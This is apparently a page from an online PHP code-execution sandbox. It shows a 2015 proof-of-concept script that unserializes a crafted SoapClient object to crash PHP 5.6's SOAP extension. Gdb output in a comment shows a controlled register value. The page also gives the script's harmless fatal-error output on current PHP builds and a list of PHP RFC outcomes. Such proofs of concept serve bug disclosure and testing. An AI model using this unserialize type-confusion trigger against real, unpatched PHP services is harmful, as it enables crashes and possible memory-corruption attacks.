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@ 2015-10-09T12:31:23Z

<?php

/*
(gdb) r poc2.php
Starting program: /usr/bin/php /home/poc2.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", 
    uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370)
    at /home/php-5.6.11/ext/soap/soap.c:4351
4351				HashTable *ht = Z_OBJPROP_PP(header);
(gdb) x/i $pc
=> 0x7dac54 <serialize_function_call+2145>:	mov    0x70(%rax),%rax
(gdb) p $rax
$4 = 1337


*/

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}');


var_dump($dummy->notexisting());

?>

Output for git.master, git.master_jit, rfc.property-hooks: Fatal error: Uncaught Error: The script tried to call a method on an incomplete object. Please ensure that the class definition "SoapClient" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in /in/TcBUM:24 Stack trace: #0 {main} thrown in /in/TcBUM on line 24
Process exited with code 255.

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2020-03-21 RFC: Is_Literal - declined
2020-12-04 Enumerations - included in PHP 8.1
2018-06-15 Typed Properties v2 - implemented in PHP 7.4
2016-08-12 Object typehint - included in PHP 7.2
2016-08-14 Arrow functions - withdrawn
2016-05-29 array_change_keys() - withdrawn
2016-04-19 Lexical scope support for anonymous classes - suspended
2016-04-17 Functional Interfaces - declined
2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
2015-08-27 Callable Prototypes - declined
2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
2015-02-18 Scalar type hints v5 - included in PHP 7
2015-02-14 Union Types - declined
2013-09-22 Anonymous classes - included in PHP 7

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